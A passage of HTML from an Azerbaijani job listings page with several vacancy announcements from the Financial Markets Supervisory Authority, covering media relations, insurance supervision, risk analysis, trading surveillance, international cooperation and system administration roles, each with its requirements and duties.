tələblər:</strong></p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAli\r\ntəhsil (Humanitar/İqtisadiyyat istiqaməti üzrə ali təhsil);</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnaloji\r\nsahə üzrə 5 il iş təcrübəsi; </p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMakroiqtisadiyyat sahəsində biliklər;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÖlkənin iqtisadi və maliyyə vəziyyəti və problemləri haqqında məlumatlı\r\nolmaq;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nKütləvi\r\ninformasiya vasitələri ilə iş bacarığı, KİV-in strukturu və funksiyaları üzrə\r\nbiliklər;</p>\r\n<p style=\"\" margin-right:-.15in;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTəqdimat\r\nvə ünsiyyətqurma bacarığı;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSəlis\r\nAzərbaycan dili və yüksək səviyyədə ingilis dili bilikləri;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMəsuliyyətlilik\r\nvə vəzifə öhdəliklərin vaxtında icra olunması;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÜnsiyyətqurma\r\nvə&nbsp; komandada işləmək bacarığı;</p>\r\n<p style=\"\" margin-right:-7.15pt;text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİT resursları və ofis proqramları ilə işləmək bacarığı;</p>\r\n<p><strong>İşin təsviri:</strong></p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİnformasiyanın\r\nKİV üçün yararlılığını təhlil edir və yayımlanmasını təmin edir; </p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;KİV-də Palatanın funksional istiqamətləri üzrə\r\nmaterialların rüblük və illik monitorinqini aparır, analitik informasiyalar\r\nhazırlayır;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİnternet\r\nsəhifəsinin idarə edilməsinə&nbsp; nəzarət\r\nedir;</p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPalata\r\nrəhbərliyinin tələb istiqamətlərinə uyğun informasiya ilə təmin edilməsinə, ölkədə\r\nvə dünyada baş verən&nbsp; mühüm hadisələr,\r\nmaliyyə sistemində baş verən yeniliklər&nbsp;\r\nbarədə icmalların hazırlanmasına&nbsp;\r\nnəzarət edir;&nbsp; </p>\r\n<p style=\"\" text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMətbuat\r\nkonfransları və brifinqlər təşkil edir.</p><p><strong style=\"text-align:center\"></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><p><strong>&nbsp;</strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Azərbaycan\r\nRespublikasının Maliyyə Bazarlarına Nəzarət Palatası</strong></p>\r\n<p><strong>Vəzifə: Sığorta\r\nbazarına nəzarət sahəsi üzrə aparıcı mütəxəssis</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Namizədə dair tələblər:</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAli təhsil\r\n(İqtisadiyyat, audit, mühasibat uçotu və aktuari hesablamaları üzrə); </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnaloji sahə üzrə\r\n2 il iş təcrübəsi (beynəxalq audit şirkətlərində iş təcrübəsinə üstünlük\r\nverilir);</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n1C proqram təminatı\r\nilə iş təcrübəsi olanlara üstünlük verilir; </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nVergi\r\nqanunvericiliyi üzrə biliklər; </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBeynəlxalq Maliyyə\r\nHesabatı Standartları (IFRS) üzrə biliklər;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnalitik düşüncə və\r\nriyazi hesablama aparmaq qabiliyyəti;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSəlis Azərbaycan və\r\ningilis dili bilikləri;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİşlərin vaxt və\r\nicra baxımdan mükəmməl koordinasiyasını bacarmaq;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİşdə dəqiqlik və\r\ndetallara fikir vermək qabiliyyəti;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİşə yaradıcı\r\nyanaşmaq, yeni ideyalara malik olmaq və yeni ideyaları stimullaşdıra bilmək\r\nbacarığı;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYeni nəzəri və\r\npraktiki bilikləri mənimsəmək qabiliyyəti;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSığorta Sahəsində\r\niş təcrübəsi olanlara üstünlük verilir;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİT resursları və\r\nofis proqramları ilə işləmək bacarığı;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>İşin təsviri:</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSığortaçı, təkrarsığortaçı\r\nvə sığorta vasitəçiləri üzrə yoxlamaların təşkili;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYoxlamaların nəticələrinə\r\ndair hesabatların, aktların və audit nəticələrinin hazırlanması;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.25in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİş zərurəti ilə əlaqədar\r\nxidməti ezamiyyətə göndərilmə.</p>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong><br></strong></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><br><p style=\"text-align:center\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Azərbaycan\r\nRespublikasının Maliyyə Bazarlarına Nəzarət Palatası</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:49.5pt;text-align:center;line-height:normal\"\"=\"\"><strong>Vəzifə: Strateji təhlil və risklərin idarə edilməsi\r\nidarəsi – analitik</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Namizədə dair tələblər:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAli təhsil\r\n(İqtisadiyyat üzrə);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnoloji sahə üzrə ən\r\nazı 2 il iş təcrübəsi;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnalitik düşüncə və&nbsp; riyazi hesablama aparmaq qabiliyyəti;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİşə yaradıcı\r\nyanaşmaq, yeni ideyalara malik olmaq və yeni ideyaları stimullaşdıra bilmək\r\nbacarığı;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYeni nəzəri və\r\npraktiki bilikləri mənimsəmək və tədqiqat aparmaq qabiliyyəti;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİşlərin vaxt və\r\nicra baxımdan mükəmməl koordinasiyasını bacarmaq;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİşdə dəqiqlik və\r\ndetallara fikir vermək qabiliyyəti;</p>\r\n<p style=\"\" margin-top:0in;margin-right:-7.15pt;margin-bottom:.0001pt;margin-left:.5in;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİT\r\nresursları və ofis proqramları ilə işləmək bacarığı;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong>İşin təsviri:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə sabitliyi\r\nüçün riskləri tədqiq edir və yarana biləcək mümkün risklərin mitiqasiyası üçün\r\ntəkliflər verir;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə bazarları\r\nüzrə tədqiqatlar aparır, modellər qurur və təkliflər verir;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIqitisadi siyasətin,\r\no cümlədən fiskal və monetar siyasət ssenarilərinin maliyyə bazarlarına mümkün\r\ntəsiri kanallarını tədqiq edir;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə\r\nbazarlarında stress-testlərin aparılması üçün makroiqtisadi şok ssenarilərinin\r\nmüəyyən edilməsində iştirak edir.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><br>  <p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp; Azərbaycan Respublikasının Maliyyə Bazarlarına Nəzarət\r\nPalatası</strong></p>\r\n<p><strong>Vəzifə:\r\nMaliyyə bazarlarına nəzarət departamentinin Ticarət əməliyyatlarına nəzarət\r\nidarəsinin böyük analitiki</strong></p>\r\n<p><strong>Namizədə olan tələblər:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTam ali təhsil\r\n(İqtisadiyyat, idarəetmə, maliyyə və ya mühasibat uçotu ixtisasları üzrə); </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnaloji sahə üzrə ən\r\nazı 3-5 il iş təcrübəsi;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSəlis Azərbaycan və\r\ningilis dili bilikləri;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə bazarları,\r\nonların işləmə prinsipləri, investisiya qiymətli kağızları və törəmə maliyyə alətləri\r\nüzrə biliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMaliyyə hesabatlarının\r\ntəhlili və risklərin idarəolunması sahəsində biliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nsahəsində yerli qanunvericilik üzrə yüksək biliklər, xüsusilə bazarda\r\nsui-istifadələr barədə məlumatlılıq;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nsahəsində beynəlxalq qanunvericilik üzrə biliklər (Mifid, MAD, Transparancy\r\nDirective, Bazel prinsipləri və s.);</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPulların yuyulması\r\nvə terrorçuluğun maliyyələşdirilməsi ilə mübarizə sahəsində biliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYüksək ünsiyyət və\r\ntəqdimat vərdişləri;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnalitik düşünmə,\r\nproblem həll etmə və intensiv rejimdə işləmə bacarıqları;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİT resursları və\r\nofis proqramları üzrə yüksək biliklər;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCFA və FRM üzrə\r\nbeynəlxalq sertifikata sahib olan namizədlərə və&nbsp; Statistik təhlil və proqramlaşdırma (VBA,\r\nSQL, MATLAB, Python ) üzrə bilikləri olan namizdlərə üstünlük verilir;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>İşin təsviri</strong><strong>:</strong></p>\r\n<p style=\"\" margin-left:31.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTicarət əməliyyatlarına\r\nnəzarət üzrə beynəlxalq standartlara uyğun normativ–metodoloji bazanın\r\nhazırlanması üzrə təkliflər verir;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:31.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİdarəyə həvalə\r\nedilmiş vəzifələrin icrasını təmin etmək məqsədilə departamentin strateji və əməliyyat\r\nplanlarının hazırlanmasına dəstək verir;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:31.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nvə digər maliyyə alətlərinin ticarətinə proaktiv və retrospektiv nəzarəti həyəta\r\nkeçirir, analitik təhlillər aparır, təhlillər əsasında yarana biləcək mümkün\r\nrisklərin mitiqasiyası üzrə təkliflər hazırlayır;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:31.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİnvestisiya şirkəti,\r\nfond birjası və depozitar tərəfindən təqdim edilən hesabatları təhlil edir;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:31.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQiymətli kağızlar\r\nbazarında sui-istifadələrə, o cümlədən qiymətlərlə manipulyasiyalara yol verilməməsi\r\nvə insayd məlumatdan istifadə edilməklə əqdlərin bağlanmaması məqsədi ilə\r\nmüvafiq tədbirlər görür;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:31.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEmitentlərin vahid\r\nməlumat resursunda qeydiyyatını həyata keçirir;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:31.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEmitentlər tərəfindən\r\nvahid məlumat resursunda yerləşdirilmiş məlumatların yoxlanılmasını və\r\naçıqlanmasını həyata keçirir.</p>\r\n<p style=\"\" margin-left:31.5pt;line-height:normal\"\"=\"\"><strong>&nbsp;</strong></p><strong><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br></strong><br><p style=\"\" margin-left:49.5pt;text-align:center\"=\"\"><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Azərbaycan Respublikasının Maliyyə Bazarlarına Nəzarət\r\nPalatası</strong></p>\r\n<p><strong>&nbsp;Vəzifənin\r\nadı: Beynəlxalq əməkdaşlıq sektorunun böyük mütəxəssisi/ sektor müdiri</strong></p>\r\n<p><strong>Namizədə dair tələblər:</strong></p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİqtisadi/maliyyə/beynəlxalq\r\nmünasibətlər sahəsində ali təhsil;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAnaloji\r\nsahə üzrə 3-5 il iş təcrübəsi;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSəlis\r\nAzərbaycan və ingilis dili bilikləri;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nÖlkənin\r\nmaliyyə sektorunun strukturu və cari vəziyyəti barədə biliklər;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBeynəlxalq\r\nmaliyyə institutlarının fəaliyyəti üzrə məlumatlılıq;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLayihələrin\r\nidarə edilməsi üzrə biliklər;</p>\r\n<p style=\"\" margin-right:-7.15pt;text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİT resursları və ofis proqramları ilə işləmək bacarığı;</p>\r\n<p style=\"\" margin-right:-7.15pt;text-align:justify;text-indent:-.25in\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYüksək səviyyədə ünsiyyətqurma bacarığı;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>İşin təsviri: </strong></p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPalatanın\r\nbeynəlxalq strategiyasının hazırlanması;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBeynəlxalq\r\nmaliyyə institutları və donor təşkilatları ilə əlaqələrinin genişləndirilməsi;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTexniki\r\nəməkdaşlıq layihələrinin hazırlanması;</p>\r\n<p>·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBeynəlxalq\r\nlayihələrin idarə olunması.</p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br><br><p style=\"text-align:left\"><strong>Azərbaycan\r\nRespublikasının Maliyyə Bazarlarına Nəzarət Palatası</strong><strong>&nbsp;</strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:49.5pt;line-height:normal\"\"=\"\"><strong> Vəzifə: İnformasiya texnologiyaları idarəsi - sistem inzibatçısı</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Namizədə dair tələblər:</strong></p>\r\n<p style=\"\" margin-right:-.05pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAli təhsil\r\n(İnformasiya texnologiyaları üzrə);</p>\r\n<p style=\"\" margin-right:-.05pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMüasir proqram və\r\ntexniki platformalar, həmçinin informasiya təhlükəsizliyi üzrə biliklər; </p>\r\n<p style=\"\" margin-right:-.05pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProqram təminatlarının\r\nistismarı və lokal kompüter şəbəkəsinin idarə edilməsi üzrə praktiki biliklər; </p>\r\n<p style=\"\" margin-right:-.05pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMəlumat\r\nbazalarının idarəetmə sistemləri, müasir ofis proqram təminatları və əməliyyat\r\nsistemləri və sistem inzibatçılığı üzrə biliklər;</p>\r\n<p style=\"\" margin-right:-.05pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİT üzrə 3-5 il iş\r\ntəcrübəsi;</p>\r\n<p style=\"\" margin-right:-.05pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSəlis Azərbaycan,\r\norta səviyyədə ingilis və rus dili bilikləri;</p>\r\n<p style=\"\" margin-right:-.05pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTexniki məsələləri\r\ngündəlik danışıq dilində izah etmək, analitik düşüncə və ünsiyyətqurma\r\nbacarığı</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:32.2pt;line-height:normal\"\"=\"\"><strong>İşin təsviri:</strong></p>\r\n<br><ul type=\"disc\">\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Palatanın şəbəkə serverlərinin və əməliyyat sistemlərinin\r\n     etibarlı, təhlükəsiz və fasiləsiz fəaliyətinin həyata keçirilməsini təşkil\r\n     edir;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Proqram təminatlarının və texniki avadanlıqların test\r\n     yoxlamasında iştirak edir;</li>\r\n <li style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Proqram təminatlarının istismarı ilə bağlı 